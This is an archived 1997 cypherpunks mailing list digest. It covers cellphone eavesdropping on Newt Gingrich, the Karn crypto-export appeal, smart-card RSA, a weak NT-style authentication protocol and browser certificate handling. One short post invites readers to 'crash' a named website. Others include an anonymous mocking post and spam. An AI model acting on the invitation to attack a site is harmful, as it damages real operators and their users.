>Thursday through Saturday at an annual privacy conference for activists
>from around the country, and they understood the principles. Their
>voicemails were filling up with calls from reporters last Friday about the
>Gingrich incident, and I know they were talking crypto.
...
Believe me, at least around here it is.
I am a college student studying computer science, and 80% of the people that
I talk to on a regular basis not only know how to play around with windows,
(and Netscape), but also at least a modicum of simple fixes to simple
problems, (such as unformatting a DOS disk).  This is what I consider to be
bottom level for that 80%, however, very few of them know even as much about
cryptography as I do.  And I barely know how to use PGP.
I have had Computer Science professors express ignorance as to what PGP is,
much less all of these others that I have learned about by hanging around here.
A few people know what crypto is, but most don't.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 14 Jan 1997 14:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Karn case challenging crypto rules -- oral arguments online
Message-ID: <Pine.GSO.3.95.970114142331.12061A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've placed my notes from and a report on last Friday's Karn crypto-
hearing online in the "Afterword" section of netlynews.com. (Incidentally,
Netly relaunched yesterday. Stop by and check it out). 

The oral arguments were a battle of metaphors: is the text of a
cryptographic algorithm more like a tank guidance system or a
Shakespearean sonnet? At one point Judge Williams compared a floppy disk
to "a machine." 

Judge Ginsberg is known as somewhat of a libertarian, a fellow who home
schools his child; he was considered for a Supreme Court seat until
reports of marijuana use derailed his bid. Judge Williams is a
conservative and a bit of a First Amendment purist -- at least in
traditional media. I think it was Williams who (correctly) dissented in
the _Turner_ "must carry" cable broadcasting case.

-Declan

---

Full text at "Afterword" -- http://netlynews.com/

United States Court of Appeals for the District of Columbia
Karn v. U.S. Department of State
January 10, 1997

Ken Bass, attorney for Phil Karn: The government says this diskette
cannot be exported. Period. They claim to make an argument that even
though it is identical information, it's worth restricting this
diskette... We submit that it is an arbitrary, capricious, and totally
irrational decision for the government to draw such a distinction...

Judge Ginsberg: Can the courts evaluate the military and security
distinction between the disks and the book?

Bass: The Supreme Court said it can. The mere intimation of national
security is not some talismanic trump card.

Judge Ginsberg: But that's not what they're doing. They're putting
something on the munitions list. In what way can we say that's not
significant militarily?

Bass: Courts are not incompetent to review decisions to see if they're
irrational...

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 14:36:45 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <199701142233.OAA15724@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Tighe SUN IMP writes:
> 
> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption?

If the person with the cell phone doesn't move, then they don't
get handed off to a different cell.  That means that they
stay on the same frquency.  No need to scan channels if they don't switch.

What Bill's saying is that it is difficult to tap the cell phone of
a _particular_ person with just a scanner.  However the people
who taped Newt were just scanning for whatever they could get.  That's easy.

> This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.

Let's not be paranoid.

It was a conference call, and someone other than Newt was the party
with the cell phone (sorry I forgot the guys name, some representative).
Do you think they (whoever 'they' are) were tapping the phones of
everyone that Newt might talk to?

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Tue, 14 Jan 1997 12:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701140349.VAA01437@mailhub.amaranth.com>
Message-ID: <Pine.BSI.3.91.970114144151.990J-100000@wichita.fn.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997, William H. Geiger III wrote:

> There is a very basic reason that cell phones are not encrypted; the government does not
> want them encrypted. Many an arrest has been made from infromation gathered from
> cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
> this.
> 
> With the cell phone industry regulated by the FCC I doubt that you will ever
> see cell phone's with built in encryption.
> 
> As far as the general public is concerned the majority are sheep. They are
> quite content to know that it is illegal for their neighbor to listen in and
> ofcource Big Brother would only listen to those nasty drug dealers & mobsters.

    A decent article about the subject (one that also gives us some historical 
proof of the govt's desires) can be found at:

http://www.feist.com/~tqdb/h/062694-1.txt

    By the way, I'm finding all these articles on the page:

http://www.feist.com/~tqdb/evis-idx.html

for those who care.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Tue, 14 Jan 1997 14:49:16 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.3.89.9701141425.A3919-0100000@netcom18>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 

It is also possible that somewhere in the chain of information between
mom&pop, the media, and us, the distinction between "cordless phone"
and cellular phone.  I gather it was a conference call that was 
intercepted.  All it takes is one participant using a cordless phone in 
range of one scanner, and the whole conversation is compromised.

(Someone mentioned that they thought cordless phone intercepts weren't 
illegal the way cellular phone intercepts are.  IANAL, but I recall that
intercepting both was made illegal by the same legislation.)

Of course, if the phone in question was a cell phone that happened to 
be stationary -- like a handheld phone in someone's back yard or in a 
restaurant or whatever, the question of the call jumping cells is moot.

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Date: Tue, 14 Jan 1997 12:59:28 -0800 (PST)
To: cypherpunks-errors@toad.com (Bill Stewart)
Subject: Re: Newt's phone calls
In-Reply-To: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
Message-ID: <199701142058.OAA05219@jeep.Central.Sun.COM>
MIME-Version: 1.0
Content-Type: text


Bill Stewart writes:

>Tapping cellphones is more trouble than tapping wired phones -
>they move around, and to tap them from the phone company end
>requires taps everywhere that you activate when you know where
>somebody is.

Exactly. So how come mom&pop with a scanner were able to record BOTH sides
of the conversation without interruption? This seems pretty suspicious to
me. I think Old Newt was targeted by someone inside the phone company, who
was eavesdropping on all of his cell calls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nelson Minar <nelson@media.mit.edu>
Date: Tue, 14 Jan 1997 12:23:16 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <cpag204huqp.fsf@hattrick.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


shamrock@netcom.com (Lucky Green) writes:
> Commercial data security software of any kind, regardless if it uses crypto
> or not, is however prohibited from being distributed via the Internet or
> being exported by any other means.

I can at least vaguely understand the rationale behind restricting the
export of cryptography. But I don't even begin to comprehend
restricting the export of data security software. What is going on
here? Whose idea is this, what is the agenda?

Is the US government really prepared to take on all the producers of
virus protection software? Symantec and IBM are pretty big players to
upset. And they don't even have the "drug dealers and terrorists"
bugbear to defend this particular export restriction.

In my more cynical mood I'm afraid that what's going on is the US
government is trying to protect its capability to wage information
warfare. Could they get away with this?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 14 Jan 1997 12:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <1.5.4.32.19970114205129.00682ddc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Omnipoint has a full-page ad in the New York Times today
which capitalizes on Newt's lack of privacy and claims that
its spread spectrum phone would have protected him with
with encryption and digital technology superior to cellular:

   http://www.omnipoint.com

Nokia, for one, touts its use of the CAVE encryption in its
latest unit, although its not clear which version.

The CAVE algorithm and implementation is now at:

   http://www.replay.com/mirror/cave/

News may be forthcoming about CAVE -- which, to remind,
is an acronym for Caller Authentication and Voice Encryption.

It has apparently gone through several versions -- whether
getting progressively stronger or weaker is a question soon to 
be answered authentically?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: spiderman@emirates.net.ae
Date: Tue, 14 Jan 1997 03:58:26 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: a cool place to crash
Message-ID: <199701141156.PAA13288@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


If any of u guys wanna crash a site on the net try this one :
www.emirates.net.ae


enjoy  ....................................  
                                         





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 13:46:26 -0800 (PST)
To: szymacz@efp.poznan.pl
Subject: Re: smart cards & Chinese Remainder Theorem (CRT)
In-Reply-To: <Pine.PCW.3.91.970114134409.10047A-100000@francolinus.EFP.Poznan.PL>
Message-ID: <Pine.LNX.3.95.970114164700.495C-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997 szymacz@efp.poznan.pl wrote:

> 	Could anybody explain me what do smart cards producers
> mean giving following parameters:
> - RSA signature time without CRT,
> - RSA signature time with CRT?
> 	I know what CRT is but I don't understand what are 
> the implications of generating signature with and without CRT
> (differences in security).

When the CRT is used, "p" and "q" have to be stored along with the secret key.
This may be require more memory than some cards have, but there aren't any
security problems with using the CRT.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 14 Jan 1997 14:15:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701142157.QAA13489@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Maya has been a source of endless 
embarassments to his sympathizers on and off the net.

         |||~
        (0 0)
    _ooO_(_)_Ooo__ Tim C. Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <null@infowar.com> (infowar)
Date: Tue, 14 Jan 1997 14:28:17 -0800 (PST)
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: Leaving the infowar list.
Message-ID: <199701142228.OAA05113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your participation in this list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 14:15:59 -0800 (PST)
To: Amanda Walker <cypherpunks@toad.com
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701140755.CAA04514@mail.intercon.com>
Message-ID: <Pine.LNX.3.95.970114165358.495D-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997, Amanda Walker wrote:

> Here's a sketch of the protocol:
> 
> (a) Server sends 8-byte challenge to client
> 
> (b) Client sends Microsoft NT authentication response to the server
>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>     the challenge three times, send the 24-byte result as the response).

I think this can be strengthened in a few ways.  The third DES key generated
using this technique has an effective keylength of 16 bits.  If the password
is concatenated with the MD4 hash of the password and hashed a second time,
the first five bytes of the second hash value can be concatenated with the
first hash value to form the 21 byte string.  If the method you describe is
used, the third key can be brute-forced trivially, and the last two bytes of
the MD4 hash of the password will be known to the attacker.  I don't know how
detrimental this is to the system, but I think it would be better if this was
fixed.

If something like a time-stamp, or even the 8 byte challenge string, is run
through MD4 along with the password, the session key would be different each
time.  This would protect against known-plaintext attacks.

> 
> (c) If authentication fails, close the connection.
> 
> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>     DES in CFB mode.  Until April :), the DES key used is taken from the
>     first 7 bytes of the MD4 hash of the password (after April, we expect
>     to switch to Diffie-Hellman key exchange first, followed by a revised
>     authentication handshake).

I believe the D-H patent expires sometime in September or October this year.
Since GATT was passed, patents now have a lifetime of 20 years past filing
date.

> - Using SHA (160 bit hash) instead of MD4
> - Using DES-EDE (112 bit key) instead of DES
> - Using Blowfish in CFB mode instead of DES
> - Using RC5 in CFB mode instead of DES (not likely unless RC5 is cheap)
> - Using RC4 (40 bit key) instead of DES (not likely)

Any unbroken cipher with a keyspace larger than that of DES would be better.
Blowfish seems to be pretty strong, and it has the added bonus of having a
computation intensive key setup.  I don't see any problems with using MD4, but
since speed doesn't seem to be an issue, SHA1 would be a reasonable choice.
It is not known whether H(H(pass),pass) is secure, so a hash with a 20 byte
output would eliminate the potential problem I described above.


Mark
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0ph2R2fjyq22PjIqmhlxODtn6AiVZt9C2xd6GW5uTmHvCaOhC8OCxg==
=ZTNy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 14 Jan 1997 11:00:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
Message-ID: <853262592.523172.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > How about, we have
> > cypherpunks-raw: unmoderated 110% SPAM
> > cypherpunks: moderated by Sandy and other moderator.
> 
> That was the original proposal.
> Now that the 'discussion' has come around full circle, can we
> stop talking about it and DO it?

Am I to presume that we will be putting something in the "welcome to 
cypherpunks" message people get when they join to tell them how to 
subscribe to the uncensored list? - or are we going to have  
yet more censorship on this list which is rapidly degenerating 
into a playground of illuminati and elite censors???



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 14 Jan 1997 14:36:05 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142209.RAA26359@pathfinder.com>
Message-ID: <Pine.GSO.3.95.970114173320.24637A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


It's a gradual change, certainly. The Washinton Post hasn't mentied crypto
in their exhaustive covering of the subject. But I maintain it's not that
far beneath the radar. Watch the Lehrer Newhour (or whatever the hell it's
called now) tonight, for instance.

-Declan

On Tue, 14 Jan 1997, Sean Roach wrote:

> At 08:37 PM 1/13/97 -0500, Declan McCullagh wrote:
> >Don't be too sure that crypto is that far beneath the radar. I spent
> >Thursday through Saturday at an annual privacy conference for activists
> >from around the country, and they understood the principles. Their
> >voicemails were filling up with calls from reporters last Friday about the
> >Gingrich incident, and I know they were talking crypto.
> ...
> Believe me, at least around here it is.
> I am a college student studying computer science, and 80% of the people that
> I talk to on a regular basis not only know how to play around with windows,
> (and Netscape), but also at least a modicum of simple fixes to simple
> problems, (such as unformatting a DOS disk).  This is what I consider to be
> bottom level for that 80%, however, very few of them know even as much about
> cryptography as I do.  And I barely know how to use PGP.
> I have had Computer Science professors express ignorance as to what PGP is,
> much less all of these others that I have learned about by hanging around here.
> A few people know what crypto is, but most don't.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 14 Jan 1997 14:51:07 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Social Security/CommerceNet/PitneyBowes try digital signature W-2's
In-Reply-To: <199701142108.NAA03984@toad.com>
Message-ID: <199701142247.RAA21970@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Note that there's no mention of encryption or confidentiality.
ssa.gov gets network connectivity via BBNplanet.

Adam


John Gilmore wrote:
| Date: Tue, 14 Jan 97 10:06:55 EST
| From: John.T.Sabo@ssa.gov
| Message-Id: <9700148532.AA853265294@ccsmtpgw2.ssa.gov>
| To: members@lists.Commerce.Net
| Subject: Test Opportuity for CommerceNet Member Small Companies
| 
| +----------------------------------------------------------------------+
| This message was addressed to:  members@lists.commerce.net
| +----------------------------------------------------------------------+
| 
| To CommerceNet Members Who Are Small Employers:
| 
| CommerceNet member companies who are small employers (approximately 30
| employees) are invited to participate this month with the Social Security
| Administration and PitneyBowes, Inc. in an important proof-of-concept
| project in
| which the Social Security Administration will accept digitally-signed W-2 and
| W-3 data via the Internet, with PitneyBowes issuing test software and
| public key
| certificates to participating employers. (I mentioned this test at the
| December
| CommerceNet Members' meeting.)
| 
| Participation will require completion of a field test agreement with SSA,
| submission of a request for certification by PitneyBowes, and installation of
| software on a Windows PC which will enable the generation of a signature key
| pair as well as software which will generate, sign and transmit the wage
| data to
| Social Security.  The software also produces W-2 paper forms for
| distribution to
| employees.  If a company already uses a software product to create W-2's, the
| output file can be used for this test.  (Please note that the test is not
| designed to evaluate all aspects of public key cryptography - for example, no
| certification practice statement has been developed.)
| 
| If you are interested in participating in this important public/private sector
| test of digital signature wage reporting, please contact me as soon as
| possible
| and I'll arrange for Mr. Chuck Liptz, SSA's Project Manager, to contact you
| immediately to provide additional details.  (Chuck can also be reached
| directly
| at (410) 965-7057 or <chuck.liptz@ssa.gov>.
| 
| John Sabo
| Social Security Administration
| (410) 965-1550
| 
| ----------------------------------------------------------------------------
| James M. Galvin                                          galvin@commerce.net
| CommerceNet                                                  +1 410.203.2707
| 3209-A Corporate Court                                   FAX +1 410.203.2709
| Ellicott City, MD 21042                             http://www.commerce.net/
| http://www.eff.org/blueribbon                     http://www.eff.org/goldkey
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 14 Jan 1997 14:58:43 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.GSO.3.95.970114175350.18725B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


Mmmm.  I'm told that, on most cellphone calls, a scanner will present both
sides of the conversation on the same frequency.  Usually one side will be
louder.  Perhaps there's some feedback from a party's receiver back into
his transmitter?

bd


On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 14 Jan 1997 18:51:37 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Newt's phone calls
In-Reply-To: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
Message-ID: <199701150158.RAA25901@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


> Eavesdropping on cellphones is illegal, since there's an expectation of
> privacy.

Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
See the Electronic Communication Privacy Act (ECPA).  Since when does
anybody talking on a *radio* have an expectation of privacy?

Listening in on normal cordless phones is also now illegal, as a
result of the Communication Assistance to Law Enforcement Act (Digital
Telephony).

Recall that the early working name for Digital Telephony was "The
Digital Telephony and Privacy Improvement Act of 19XX".  Classic
piece of double speak.  The *privacy improvement* was the
criminalization of radio reception.

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@softcell
Date: Tue, 14 Jan 1997 18:46:33 -0800 (PST)
Subject: Bulk e mail software
Message-ID: <m0vkHlU-005X2uC@iq-mcp.iquest.net>
MIME-Version: 1.0
Content-Type: text/plain


Please put remove in the subject and press 
reply if you do not want mail from us

Would you like to bulk E-Mail without getting your service
terminated?

Get the software for FREE?

And not send mail to people who do not want it?

Just visit our web site located at.

http://www.softcell.net









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Tue, 14 Jan 1997 18:01:59 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:48 PM 1/14/97 -0800, you wrote:
>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was 
>intercepted.  All it takes is one participant using a cordless phone in 
>range of one scanner, and the whole conversation is compromised.

The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
stated today that he was parked in the lot of a Waffle House in Lake City
FL.  The couple said that they just happened to be driving by when they
overheard and began taping the conversation.

I have a problem with making it illegal to listen to parts of the
electromagnetic spectrum.  Seems sort of unnatural.  Maybe they will decide
that people who can see the color green will go to jail next ;-)
Technological solutions are much more elegant.  Of course, they are not
nearly as sexy as legal remedies (I can't wait to see if the congressman who
gave it to the Times is indicted!)

       Clay

*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 14 Jan 1997 18:27:33 -0800 (PST)
To: michael.tighe@Central.Sun.COM
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <199701150204.SAA25917@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. 

You typically only need to tune into either the forward or reverse
channel.  You can usually hear both sides (one may be down a few dB).
This is probably a result of acoustic coupling from the speaker into
the microphone on one or both ends (could also be near-end hybrid
echo).  You see the same situation on both cellular and the 49 MHz
cordless phones.

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 09:17:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: TEST- don't read
Message-ID: <199701141717.SAA15340@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


test -dont read




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nelson Minar <nelson@media.mit.edu>
Date: Tue, 14 Jan 1997 15:48:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b03af01913cbaa5@[10.0.2.15]>
Message-ID: <cpau3ojom4p.fsf@hattrick.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


>> The take on this that we won't hear is: "This is outrageous!  Why don't
>> cell-phones offer encryption to ensure our privacy?"

A full page ad from the January 14, 1997 New York Times:

  Dear Mr. Speaker:
    If you'd rather not have
  your phone conversation
  overheard and printed word
  for word in the newspaper,
  next time use an Omnipoint
  wireless phone instead of a
  cellular phone.

The ad then explains that cell phone eavesdropping happnes all the
time, and offers Omnipoint, "a new 100% digital wireless phone system
that operates on a technology far superior to cellular. It encrypts
your voice so no one can listen in on your conversations. Or capture
any personal data transmissions."

It's a pretty funny ad.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Tue, 14 Jan 1997 18:59:45 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: People Who Need People...
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970115025832Z-34135@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


I was just going through a web service which, when you enter your city &
zip, will bring up all the businesses within that geographical area - 

	Leisure
	Travel
	Services
etc., then further sub-categorized into 

	Leisure: Restaurants (type: Greek, Italian, Chinese, etc.)
	Travel: Airlines, Hotels & Motels
etc.

plus further sub-categories.   I was mulling over the all the info which
can be quickly pulled up about these people and then remembered that
these are not just individual persons whose info I'm looking at, but
commercial establishments - companies with services & products which
they are offering to anyone.  So it's okay.  (Why?) Because they *want*
to be listed; they want information about themselves to be available to
anyone (anyone with money to spend, that is).  So it occurred to me:
when you need money, you want everyone to know where you are.<g>  This
could be further generalized into: when you need something, you want
everyone to know about it (in case anyone has a solution to your
plight).

What a different consideration it is, to think of persons separately
from their place of business or trade, where they don't want anything to
be known or broadcast (except at their individual discretion, consent,
release, etc.)   When you don't need anything - when you're full,
satisfied, and happy - you want 'outsiders' to leave you alone.

I think some people can really get confused as to where privacy begins
and marketing ends (or is it the other way, I get confused <g>).   I
know it's happened on this list, where arguments have developed over the
fine line of difference between contrasting "rights" to information -
i.e, while in the workplace vs while in the front yard on the sidewalk
of one's own house or walking around at the mall, etc.

Allowance, consent, personal prerogatives, authority over one's
decisions & choices - these concepts are all going to require much
thought and refinement of demarcation, as the line between being closed
or open to others, hidden or exposed, a little bit or a lot, here and/or
there, becomes finer and finer while the "net" widens and grows.   

That is, those who in the past have not felt the need to think much
about these things will now be confronted with the necessity of doing
so; of considering precisely what the fine line of difference is between
conflicting ideas about personal authority, privacy, and public access;
what they think is right or wrong, acceptable or intolerable, just from
the nature of the circumstances.  

(like Newt, for instance.)

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:21:23 -0800 (PST)
To: source@iaccess.za
Subject: Re: MAJOR MSIE SECURITY BUG
Message-ID: <3.0.1.32.19970114182042.0062beb8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


It's rather self-serving to call this major lack-of-feature a
MAJOR SECURITY BUG.  Sure, it limits what you can do, but if it does
what it claims to do, it's not a bug, it's just lack of vision,
and there are _far_ more targets at Microsoft for complaints about that :-)
MAJOR SECURITY BUGs are things like ActiveX and JavaScript-you-can't-turn-
off.  At least they seem to take a fail-secure approach to unknown CAs
(even if it is fail-hostilely) rather than a more typical Microsoft
fail-insecure-but-friendly fallback.

The interesting capability that setting your own CAs isn't just that
it lets you choose which service providers can be roots of a hierarchical 
tree-of-CAs model - it's that it lets you go beyond that model
to support a web-of-trust model like PGP's, which is a Good Thing.
You can duplicate this in a hierarchical world (if you must :-)
by being the your own CA tree root, and certifying the other CAs you like.

Netscape's original SSL implementations also only supported one
CA root (Verisign), but after they got that working, they added
user-selected CAs as well.  Maybe MS will add this later?  


At 11:23 AM 1/10/97 GMT+2, source@iaccess.za wrote:
>MSIE has a MAJOR security flaw in that it limits MSIE users to a very
>restricted set of secure sites ONLY.  Netscape Navigator does not have
> this MAJOR limitation.
>The bugs prevents access to Secure Servers other that those which MS 
>has decided to grant a monopoly to.  This is both limiting to users 
>and inhibits Servers to their choice of Certificate Authorities. 
......
>When MSIE does not recognise a Certificate Authority, it prompts the
>user by saying it cannot connect to that site and gives the user no
>opportunity to connect or access the Certificate Authority.
>One of the ways the Certificate authorities are getting around this 
>problem is to publish a page listing their certificates. 
>The problem however is that users have to know this in advance and 
>MSIE gives no indication that this is
>what needs to be done or where to go.
....
>CompuSource in South Africa tries to accomnodate MSIE users by [.....]
>https://www.compusource.co.za    [.....]
>Regards,
>The Power Team
>SMTP:   source@iaccess.za               Tel:    +27-21-75-9197
>HTTP:   http://www.compusource.co.za    FAX:    +27-21-72-8005
>FTP:    ftp://ftp.compusource.co.za     Postal: Building 6, Room 201
>                                        CompuSource (Pty) Ltd


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 19:10:04 -0800 (PST)
To: olbon@ix.netcom.com (Clay Olbon II)
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <199701150307.TAA18846@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II writes:
> 
> The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> stated today that he was parked in the lot of a Waffle House in Lake City
